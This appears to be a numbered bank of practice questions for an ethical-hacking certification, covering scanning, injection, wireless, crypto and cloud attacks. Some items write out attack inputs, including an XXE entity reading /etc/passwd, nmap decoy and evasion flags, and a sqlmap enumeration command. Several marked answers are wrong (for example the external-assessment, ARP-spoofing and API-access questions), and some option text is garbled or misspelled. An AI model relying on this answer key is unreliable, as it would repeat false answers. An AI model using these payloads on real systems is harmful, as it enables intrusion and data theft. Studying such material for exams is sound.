100, A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

- A, Security awareness training
- B, Vendor risk management
- C, Secure development lifecycle
- D, Patch management**

101, Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.

What is the APT lifecycle phase that Harry is currently executing?

- A, Preparation
- B, Persistence
- C, Initial intrusion**
- D, Cleanup

102, This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.

Which is this wireless security protocol?

WPA2-Personal

WPA3-Enterprise

WPA2-Enterprise

WPA3-Personal

103, Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

A, Honeypot

B, Intrusion detection system

C, Botnet

D, Firewall

104, What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

A, Skipping SSL certificate verification

B, Performing content enumeration using the bruteforce mode and random file extensions

C, Performing content enumeration using the bruteforce mode and 10 threads

D, Performing content enumeration using a wordlist

105, Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed. What is the port scanning technique used by Sam to discover open ports?

A, IDLE/IPID header scan

B, TCP Maimon scan

C, ACK flag probe scan

D, Xmas scan

106, There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption. What encryption protocol is being used?

A, WPA1

B, RADIUS

C, WEP
D, WPA3

107, SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.

Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

A, In-band SQLi
B, Out-of-band SQLi
C, Time-based blind SQLi
D, Union-based SQLi

108, Which iOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

A, Semi-untethered Jailbreaking
B, Untethered jailbreaking
C, Tethered jailbreaking
D, Semi-tethered Jailbreaking

109, Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

A, ZoomInfo
B, Factiva
C, Netcraft
D, Infoga

110, Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company. What is the social engineering technique Steve employed in the above scenario?

A, Honey trap
B, Baiting
C, Piggybacking

D, Diversion theft

111, Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information. Which of the following attacks can be performed by exploiting the above vulnerability?

- A, Side-channel attack
- B, Padding oracle attack
- C, DROWN attack**
- D, DUHK attack

112, Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

- A, nmap Pn-ST -p 46824 < Target IP >
- B, nmap Pn -ST-p 102-script s7-info< Target IP >
- C, nmap -Pn -sU -p 44818 --script enip-info < Target IP >**
- D, nmap Pn -ST-scan-delay 1s-max-parallelism 1-p< Port List> <Target IP >

113, An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.

Which of the following tools must the organization employ to protect its critical infrastructure?

- A, Flowmon**
- B, Robotium
- C, BalenaCloud
- D, IntentFuzzer

114, Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date.

With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network.

What type of footprinting technique is employed by Richard?

Email footprinting

Whois footprinting

VoIP footprinting

VPN footprinting

115, You have been authorized to perform a penetration test against a website. You want to use Google dorks to footprint the site but only want results that show file extensions. What Google dork operator would you use?

A, ext

B, site

C, filetype

D, inurl

116, In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this called? attack

A, Chop chop attack

B, Evil twin

C, KRACK

D, Wardriving

117, Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture is Abel currently working in?

A, Tier-1: Developer machines

B, Tier-3: Registries

C, Tier-2: Testing and accreditation systems

D, Tier-4: Orchestrators

118, Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to

determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for?

- A, Union-based and error-based
- B, Out of band and boolean-based
- C, Time-based and boolean-based**
- D, Time-based and union-based

119, You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan. What flag will you use to satisfy this requirement?

- A, The -f flag
- B, The -D flag**
- C, The -g flag
- D, The -A flag

120, John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

- A, Use Marie's private key to encrypt the message.
- B, Use his own public key to encrypt the message.
- C, Use his own private key to encrypt the message.
- D, Use Marie's public key to encrypt the message.**

121, Dorian is sending a digitally signed email to Polly. With which key is Dorian signing this message and how is Poly validating it?

A, Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key

B, Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

C, Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

D, Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

122, Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced.

Which of the following techniques is described in the above scenario?

A, Website footprinting

B, VPN footprinting

C, VoIP footprinting

D, Dark web footprinting

123) During the enumeration phase, Lawrence perform banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445. Which of the following service is enumerated by Lawrence in this scenario?

A – Network file system

B – server message block(a)

C – telnet

D – remote procedure call

124, Which is the first step followed by Vulnerability Scanners for scanning a network?

A. OS Detection

B. Firewall detection

C. TCP/UDP Port scanning

D. Checking if the remote host is alive

125) Which of the following web vulnerabilities would an attacker be attempting to exploit if they delivered the following input?

<!DOCTYPE blah[<!ENTITY trustme SYSTEM "FILE:///etc/passwd">]>

A.SQlI

B.IDOR

C. XXS

D.XXE

126). John, a professional hacker, targeted cybersol.inc, an MNC. He decided to discover the IOT devices connected in the target network that are using default credentials and are vulnerable to various hijacking attacks.

For This purpose, he used an automated tool to scan the target network for specific types of IoT devices and detect whether they are using the default factory set credentials.

What is the tool employed by John in the above example?

A.IoT Inspector

B.Azure IoT Central

C.IoT seeker

D.AT&t IoT Platform

128) You are attempting to run an nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

A.nmap -A --hostname-timeout 99 -T1

B.nmap -A -Pn

C.nmap -sT -O -TO

D.nmap -sP -p-65535-T5

129) Given below are different steps involved in vulnerability -management life cycle .

1,Remediation

2,Identify assets and create a baseline

3,verification

4,Monitor

5,Vulnerability scan

6, Risk assessment

Identify the correct sequence of steps involved in vulnerability management

2>4>5>3>6>1

2>1>5>6>4>3

2>5>6>1>3>4

1>2>3>4>5>6

130)Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?

A. SOA

B. biometrics

C. single sign on

D. PKI

131).If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use?

A. -r

B. -F

C. -P

D. -s

132).A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client. What is a possible source of this problem?

A. The WAP does not recognize the client's MAC address

B. The client cannot see the SSID of the wireless network

C. Client is configured for the wrong channel

D. The wireless client is not configured to use DHCP

134. Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users.

A. LDAP Injection attack

B. Cross-Site Scripting (XSS)

C. SQL injection attack

D. Cross-Site Request Forgery (CSRF)

135).While performing online banking using a Web browser, a user receives an email that contains a link to an interesting Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a funds transfer that took place. What Web browser-based security vulnerability was exploited to compromise the user?

A. Clickjacking

B. Cross-Site Scripting

C. Cross-Site Request Forgery

D. Web form input validation

136)

Lewis, a professional hacker, targeted the IoT cameras and devices used by a target venture-capital firm. He used an information gathering tool to collect information about the devices connected to a network, open ports and services, and the attack surface area. Using these tools, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the internet, further allowing him to exploit these devices in the network.

Which of the following was employed by Lewis in the above scenario?

A. NeuVector

B. Censys

C. Lacework

D. Wapiti

137). Elante company has recently hired James as a penetration tester. He was tasked with performing enumeration on an organization's network. In the process of enumeration, James discovered a service that is accessible to external sources. This service runs directly on port 21.

What is the service enumeration by James in the above scenario?

A. RPC

B. BGP

C. NFS

D. FTP

138). An organization decided to harden its security against web application and web server attacks. John, a security personnel in the organization, employed a security scanner to automate web application threats. Using that tool, he also wants to detect XSS, directory traversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks. Which of the following security scanners will help John perform the above tasks?

A.AlienVault

B.Saleae Logic Analyzer

C.Cisco ASA

D.Syhunt Hybrid

139Kevin, an encryption specialist , implemented a technique that enhances the security of keys used for encryption and authentication.using this technique, Kevin input an initial key to an algorithm that generates an enhanced key that is resistant to brute force attacks.

What is the technique employed by kevin to improve the security of encryption keys?

A.key reinstallation

B.key stretching

C.PKI

D.Key derivation function

140). Consider the following Nmap output:

Starting Nmap X.XX (<http://nmap.org>) at XXX-XX-XX XX:XX EDT

Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).

Not shown: 932 filtered ports, 56 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

110/tcp open pop3

143/tcp open imap

443/tcp open https

465/tcp open smtps

587/tcp open submission

993/tcp open imaps

995/tcp open pop3s

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

What command-line parameter could you use to determine the type and version number of the web server?

-v

-sV

-Pn

-sS

141).which of the following google =e advanced search operators helps an attacker in gathering information about websites that are similar to specified target URL?

A.[site:]

B.[inurl]

C.[info]

D.[related:]

142).An attacker utilizes wifi pineapple to run an access point with a legitimate looking SSID for a nearby business in order to capture the wireless password.what kind of attack is this?

evil Twin attack

Wardriving attack

Phishing attack

MAC spoofing attack

143).Miley, a professional hacker,decided to attack the target organization's network.To perform the attack she used to send a fake ARP msg over the target network to link her MAC Address with the target system's IP address. By performing this miley received msg directed to the

victim's MAC address and further used the tool to intercept ,steal,modify,and block sensitive communication to the target system.

What is the tool employed by miley to perform the above attack?

A.Gobbler

B.DerpNSpoof

C.Wireshark

D.Bettercap

144).Morris , an attacker, wanted to check whether the target AP is in a locked state.He attempted using different utilities to identify WPA enabled APs in the target wireless network. Ultimately, he succeeded with one special command line utility.

Which of the following command line utilities allowed Morris to discover the WPS enabled APs?

Net view

Mac of

Ntptrace

Wash

145).which among the following is the example of the hacking concept called “clearing tracks”?

.During a cyberattack a hacker corrupts the event logs on all machines.

After a system is breached, a hacker creates a backdoor to allow re entry into a system

An attacker gain access to server through an exploitable vulnerability

During a cyberattack, a hacker injects a rootkit into a server.

146).Harper, a software engineer, is developing an email application. To ensure the confidentiality of email messages.Harper uses a symmetric key block cipher having classical 12 or 16 round Feistel network within a block size of 64 bits for encryption,which includes large 8*32 bits S-boxes(s1,s2,s3,s4) based on bent functions,modular addition and subtraction, key dependent rotation, and XOR operations.This cipher also uses a masking key (KM1) and a rotation key (kr1) for performing its functions.

What is the algorithm employed by Harper to secure the email message?

A.CAST-128

B. GOST block cipher

C.AES

D.DES

147).Thomas, a cloud security professional is performing security assessment on cloud services to identify any loopholes.He detects a vulnerability in a bare metal cloud server that can be enable hackers to implement malicious backdoors in its firmware.He also identified that an installed backdoor can persist even if the server is reallocated to new clients or businesses that use it as an IaaS.

What is the type of cloud attack that can be performed by exploiting the vulnerability discussed in the above scenario?

- A. Man in the Cloud attack
- B. Metadata spoofing attack
- C. Cloud cryptojacking
- D. Cloudborne attack**

148). Rebecca, a security professional, wants to authenticate employees who use web services for safe and secure communication. In this process, she employs a component of the web service Architecture, which is an extension of SOAP, and it can maintain the integrity and confidentiality of SOAP messages.

Which of the following components of Web service Architecture is used by Rebecca for securing communication?

WS policy

WS security

WSDL

WS work processes

149). When considering how an attacker may exploit a web server, what is web server footprinting?

A. When an attacker gathers system level data, including accounts details and server names

B. When an attacker implements a vulnerability scanner to identify weaknesses.

C. When an attacker creates a complete profile of the site's external links and file structures

D. When an attacker uses a brute force attack to crack a web server password

150). Tony wants to integrate a 128 bit symmetric block cipher of sizes 128, 192 or 256 bits into a software program, which involves 32 rounds of computational operations that include substitution and permutation operations on four 32 bit word blocks using 8 variable S boxes with 4 bit entry and 4 bit exit.

Which of the following algorithms includes all the above features and can be integrated by Tony into the software program?

A. TEA

B.CAST-128

C.RC5

D.Serpent

151).Robert, a professional hacker, is attempting to execute a fault injection attack on a target IoT device.In this process,he injects faults into the power supply that can be used for remote execution,also causing the skipping of key instructions.He also injects faults into the clock network used for delivering a synchronized signal across the chip.

Which of the following types of fault attacks is performed by robert in the above scenario?

A.Frequency /voltage tampering

B.optical ,electromagnetic fault injection

C.Power /clock/reset glitching

D.temperature attack

152).Which rootkit is characterized by its function of adding code and/or replacing some of the OS kernel code to obscure a backdoor on a system?

A.Hypervisor-level rootkit

B.library level rootkit

C.kernel level rootkit

D. user-mode rootkit

153).which Nmap switch helps evade IDS or firewalls?

A.-n/-R

B.-T

C.-oN/-oX/-oG

D.-D

154). A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

A. security awareness training

B. secure development lifecycle

C. vendor risk management

D. patch management

155). Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.

What type of attack he is experiencing?

A. DoS attack

B. DNS hijacking

C. DHCP spoofing

D. ARP cache sniffing

156). Which type of attack to overflow the CAM table in an ethernet switch?

A. MAC flooding

B. Evil twin attack

C. DNS cache flooding

D.DDoS attack

157).sam, web developer, was instructed to incorporate a hybrid encryption software program into a web application to secure email messages.Sam used an encryption software,which is a free implementation of the OpenPGP standard that uses both symmetric key cryptography and asymmetric key cryptography for improved speed and secure key exchange.

What is the encryption software employed by sam for securing the email message?

A.SMTP

B.PGP

C.GPG

D.S/MIME

158.)Your company was hired by an small healthcare provider to perform a technical assessment on the network.What is the best approach for discovering vulnerabilities on a windows based computers?

A.use the built in windows update tool

B.create a disk image of clean windows installation

C.check MITRE.org for the latest list of CVE findings

D.use a scan tool like Nessus

159).Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company.This includes using logs, formatting, and names o the target company.The phishing message will often use the name of the company CEO president or managers. The time a hacker spends performing research to locate this information about a company is known as?

A.Enumeration

B.Exploration

C.investigation

D.Reconnaissance

160).Bob wants to ensure that Alice can check whether his message has been tampered with.He creates a checksum of the message and encrypts it using asymmetric cryptography.

What key does Bob use to encrypt the checksum for Accomplishing this goal?

- A. Alice's private key
- B. Alice's public key
- C. His own public key
- D. His own private key**

161).jude, a pentester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world ,by using devices such as firewalls, routers, and servers. In the process,he also estimated the threat of network security attacks and determined the level of security of the corporate network.

What is the type of vulnerability assessment that jude performed on the organization ?

- A.External assessment
- B.Application assessment
- C. Passive assessment
- D. Host based assessment**

162).which type of malware spreads from one system to another or from one network to another and causes similar types of damage as viruses do to the infected system?

- A. Worm**
- B. Adware
- C. Trojan

D. Rootkit

163).A bank stores and processes sensitive privacy information related to home loans.However, auditing has never been enabled on the systems.

What is the first step that the bank should take before enabling the audit feature?

A.Determine the impact of enabling the audit feature

B.Allocate funds for staffing of audit log review

C.perform a vulnerability scan for the system

D. Perform a cost/benefit analysis of the audit system

164).A group of hackers were roaming around a bank office building in a city, driving a luxury car.They were using hacking tools on their laptop with the intention to find a free access wireless network.What is this hacking process known as?

A.GPS mapping

B.spectrum analysis

C. wireless sniffing

D. War driving

165).which of the following tactics uses malicious code to redirect user's web traffic?

A.Phishing

B.spimming

C. Spear phishing

D.Pharming

166)

Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role. What is the technique employed by Eric to secure cloud resources?

Serverless computing

Zero trust network

Demilitarized zone

Container technology

167).Calvin, a grey-hat hacker, targets a web application that has design flaws in its authentication mechanism. He enumerates usernames from the login form of the web application, which requests users to feed data and specifies the incorrect field in case of invalid credentials. Later, Calvin uses this information to perform social engineering. Which of the following design flaws in the authentication mechanism is exploited by Calvin?

Insecure transmission of credentials

Password reset mechanism

Verbose failure messages

User impersonation

168)Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response

messages using different TCP connections. Which of the following attack techniques is used by Stella to compromise the web services?

Web services parsing attacks

SOAPAction spoofing

WS-Address spoofing

XML injection

169). Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords. Which of the following tools would not be useful for cracking the hashed passwords?

John the Ripper

THC-Hydra

Netcat

Hashcat

170). Attacker Simon targeted the communication network of an organization and disabled the security controls of NetNTLMv1 by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks.

What is the type of attack performed by Simon?

Dictionary attack

Combinator attack

Rainbow table attack

Internal monologue attack

171). Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit. What is the technique used by Jack to launch the fileless malware on the target systems?

Phishing

Legitimate applications

Script-based injection

In-memory exploits

172). Alex, a cloud security engineer working in Eyecloud Inc. is tasked with isolating applications from the underlying infrastructure and stimulating communication via well-defined channels. For this purpose, he used an open-source technology that helped him in developing, packaging, and running applications; further, the technology provides Paas through OS-level virtualization, delivers containerized software packages, and promotes fast software delivery. What is the cloud technology employed by Alex in the above scenario?

Docker

Serverless computing

Zero trust network

Virtual machine

173). Stephen, an attacker, targeted the industrial control systems of an organization. He generated a fraudulent email with a malicious attachment and sent it to employees of the target organization. An employee who manages the sales software of the operational plant opened the fraudulent email and clicked on the malicious attachment. This resulted in the malicious attachment being downloaded and malware being injected into the sales software maintained in the victim's system. Further, the malware propagated itself to other networked systems, finally damaging the industrial automation components. What is the attack technique used by Stephen to damage the industrial systems?

Reconnaissance attack

SMishing attack

HMI-based attack

Spear-phishing attack

174).Wayn, an attacker, wanted to detect if any honeypots are installed in a target network.

For this purpose, he used a time-based TCP fingerprinting method to validate the response to a normal computer and the response of a honeypot to a manual SYN request Which of the following techniques is employed by Dayn to detect honeypots?

Detecting the presence of Sebek-based honeypots

Detecting the presence of Honeyd honeypots

Detecting the presence of Snort inline honeypots

Detecting honeypots running on VMware

175,Mason, a professional hacker, targets an organization and spreads Emotet malware through malicious script. After infecting the victim's device, Mason further used Emoet to spread the infection across focal networks and beyond to compromise as many machines as possible. In this process, he used a tool, which is a self-extracting RAR to retrieve information related to network resources such as writable share drives. What is the tool employed by Mason in the above scenario?

Credential enumerator

NetPass.exe (a)

WebBrowserPassView

Outlook scraper

176 What would be the purpose of running `wget 192.168.0.15 -q -5` against a web server?

Using `curl` to perform banner grabbing on the webserver

Performing content enumeration on the web server to discover hidden folders(a)

Downloading the contents of the web page locally for further examination

Flooding the web server with requests to perform a Denial of Service attack

177, An organization decided to harden its security against web-application and web-server attacks. John, a security personnel in the organization, employed a security scanner to automate web-application security testing and to guard the organization's web infrastructure against web-application threats. Using that tool he also wants to detect XSS, directory traversal problems, CSRF injection, SQL injection, attempts to execute commands and several other attacks. Which of the following security scanners will help John perform the above task?

Syhunt Hybrid(a)

Sales Logic Arisyzet

AlienVaults OSSIM

Cisco ASA

178 Jane is working as a security professional at CyberSol Inc. She was tasked with ensuring the authentication and integrity of messages being transmitted in the corporate network. To encrypt the messages, she implemented a security model in which every user in the network maintains a ring of

public keys. In this model a user needs to encrypt a message using the receiver's public key, and only the receiver can decrypt the message using their private key. What is the security model implemented by Jane to secure corporate messages

Transport Layer Security (TLS)

Zero Trust network

Secure Socket Layer (SSL)

Web of trust (WOT)(a)

179, Which of the following types of SQL injection attacks extends the results returned by the original query, enabling attackers to run two or more statements if they have the same structure as the original one?

Error based injection

Union SQL injection(a)

Boolean-based blind SQL injection

Blind SQL Injection

180 What useful information is gathered during a successful Simple Mail Transfer Protocol Enumeration ?

The internal command RCPT provides a list of hosts open to message traffic

The two internal commands VRFY and EXPN provide a confirmation of valid users, email addresses, aliases, and mailing lists.(a)

Reveals the daily outgoing message limits before mailboxes are locked.

A list of all proxy server addresses used by the targeted host.

181, You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic if you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

You cannot identify such an attack and must use a VPN to protect your traffic

You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.

You should use netstat to check for any suspicious connections with another IP address within the LAN(a)

You should check your ARP table and see if there is one IP address with two different MAC Addresses

182, Jake, a professional hacker, installed spyware on a target iPhone to spy on the target user's activities. He can take complete control of the target mobile device by jailbreaking the device remotely and record audio, capture screenshots, and monitor all phone calls and SMS messages. What is the type of spyware that Jake used to infect the target device?

AndroRat

Zscaler

Trident(a)

DroidSheep

183, In an attempt to damage the reputation of a competitor organization, Hailey, a professional hacker gathers a list of employee and client email addresses and other related information by using

various search engines, social networking sites, and web spidering tools. In this process, she also uses an automated tool to gather a list of words from the target website to further perform a brute-force attack on the previously gathered email addresses.

What is the tool used by Hailey for gathering a list of words from the target website?

Orbot

CeWL(a)

Psiphon

Shadowsocks

184, An attacker identified that a user and an access point are both compatible with WPA2 and WPA3 encryption. The attacker installed a rogue access point with only WPA2 compatibility in the vicinity and forced the victim to go through the WPA2 four-way handshake to get connected. After the connection was established the attacker used automated tools to crack WPA2-encrypted messages.

What is the attack performed in the above scenario?

Downgrade security attack(a)

Noe channel attack

Tang tated attack

Cache-based attack

185, What type of virus is most likely to remain undetected by antivirus software?

File-extension virus

Macro virus

Stealth virus(a)

Cavity virus

186,_____is a type of phishing that targets high-profile executives such as CEOs

CFOs ,politicians, and celebrities who have access to confidential and highly valuable information.

whaling(a)

Vishing

Spear phishing

Phishing

187,Upon establishing his new startup. Tom hired a cloud service provider (CSP) but was dissatisfied with their service and wanted to move to another CSP.What part of the contract might prevent him from doing so?

Lock-up

Lock-in(a)

Lock-down

Virtualization

188,A security analyst uses Zenmap to perform an ICMP timestamp ping scan to acquire information related to the current time from the target host machine.

Which of the following Zenmap options must the analyst use to perform the ICMPtimes ping scan?

-Pr

-PY

-PU

-Pp(a)

189, Mike, a security engineer, was recently hired by BigFox Ltd. The company recently experienced disastrous DoS attacks. The management had instructed Mike to build defensive strategies for the company's IT infrastructure to thwart DoS/DDoS attacks. Mike deployed some countermeasures to handle jamming and scrambling attacks. What is the countermeasure Mike applied to defend against jamming and scrambling attacks?

Implement cognitive radios in the physical layer

Allow the transmission of all types of addressed packets at the ISP level

Allow the usage of functions such as gets and strcpy

Disable TCP SYN cookie protection

190,, Encryption has been implemented for all the Windows-based computers in an organization. You are concerned that someone might lose their cryptographic key.

Therefore, a mechanism was implemented to recover the keys from Active Directory.

What is this mechanism called in cryptography?

Key escrow

Key archival(a)

Key renewal

Certificate rollover

191,„You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet.What is the recommended architecture in terms of server placement?

All three servers need to be placed internally

A web server and the database server facing the Internet, an application server on the internal network

All three servers need to face the Internet so that they can communicate between themselves

A web server facing the Internet, an application server on the internal network, a database server on the internal network(a)

192,What is the following command used for?sqimap.py -u
"http://10.10.1.20/?p=1&forumaction=search"-dbs

Enumerating the databases in the DBMS for the URL(a)

Retrieving SQL statements being executed on the database

Creating backdoors using SQL injection

Searching database statements at the IP address given

193,CyberTech Inc. recently experienced SQL injection attacks on its official website. The company appointed Bob, a security professional, to build and incorporate defensive strategies against such attacks. Bob adopted a practice whereby only a list of entities such as the data type, range, size, and value, which have been approved for secured access, is accepted.

What is the defensive technique employed by Bob in the above scenario?

Output encoding

Whitelist validation(a)

Enforce least privileges

Blacklist validation

194Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results: TTL: 64

Window Size: 5840

What is the OS running on the target machine?

Windows OS

Mac OS

Solaris OS

Linux OS(a)

195John, a security analyst working for an organization, found a critical vulnerability on the organization's LAN that allows him to view financial and personal information about the rest of the employees. Before reporting the vulnerability, he examines the information shown by the vulnerability for two days without disclosing any information to third parties or other internal employees. He does

so out of curiosity about the other employees and may take advantage of this information later.
What would John be considered as?

White hat

Cybercriminal

Black hat

Gray hat(a)

196, To hide the file on a Linux system, you have to start the filename with a specific character.

What is the character?

Period (.) (a)

Tilde (-)

Exclamation mark (!)

Underscore(_)

197, Mirai malware targets IoT devices. After infiltration, it uses them to propagate and create botnets that are then used to launch which types of attack?

Birthday attack

MITM attack

Password attack

DDoS attack

198, Which wireless security protocol replaces the personal pre-shared key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is therefore resistant to offline dictionary attacks?

WPA3-Personal

ZigBee

Bluetooth

WPA2-Enterprise

199, Mary, a penetration tester, has found password hashes in a client system she managed to breach. She needs to use these passwords to continue with the test, but she does not have time to find the passwords that correspond to these hashes. Which type of attack can she implement in order to continue?

Pass the hash

LLMNR/NBT-NS poisoning

Pass the ticket

Internal monologue attack

200, Ron, a security professional, was pen testing web applications and SaaS platforms used by his company. While testing, he found a vulnerability that allows hackers to gain unauthorized access to API objects and perform actions such as view, update, and delete sensitive data of the company.

What is the API vulnerability revealed in the above scenario?

Business logic flaws(a)

Improper use of CORS

Code injections

No ABAC validation

201 Bill has been hired as a penetration tester and cyber security auditor for a major credit card company. Which information security standard is most applicable to his role?

Sarbanes-Oxley Act

PCI-DSS(a)

FISMA

HITECH

202 Henry is a penetration tester who works for XYZ organization. While performing enumeration on a client Organization, he queries the DNS server for a specific cached DNS record. Further, by using this cached record, He determines the sites recently visited by the organization's user. What is the enumeration technique used by Henry on the organization?

DNSSEC zone walking

DNS cache snooping

DNS cache poisoning

DNS zone walking

203 An attacker can employ many methods to perform social engineering against unsuspecting employees, including scareware. What is the best example of a scareware attack?

A banner appears to a user stating. "Your Amazon order has been delayed. Click here to find out your new Delivery date."

A banner appears to a user stating, "Your account has been locked. Click here to reset your password and Unlock your account."

A pop-up appears to a user stating. "You have won a free cruise! Click here to claim your prize"

A pop-up appears to a user stating, "Your computer may have been infected with spyware. Click here to install .An anti-spyware tool to resolve this issue."

204Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network Infrastructure to identify security loopholes. In this process, he started to circumvent the network protection Tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by Carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS Attacks that can exhaust the network resources.What is the attack technique used by Jude for finding loopholes in the above scenario?

Spoofed session flood attack

UDP flood attack

Peer-to-peer attack

Ping-of-death attack

205)Your organization has signed an agreement with a web hosting provider that requires you to take full Responsibility of the maintenance of the cloud-based resources.Which of the following models covers this?

Functions as a service

Infrastructure as a service

Software as a service

Platform as a service

206) This type of injection attack does not show any error message. It is difficult to exploit as it returns information. When the application is given SQL payloads that elicit a true or false response from the server. By observing the response, an attacker can extract sensitive information. What type of attack is this?

Blind SQL Injection

Time-based SQL injection

Union SQL Injection

Error-based SQL injection

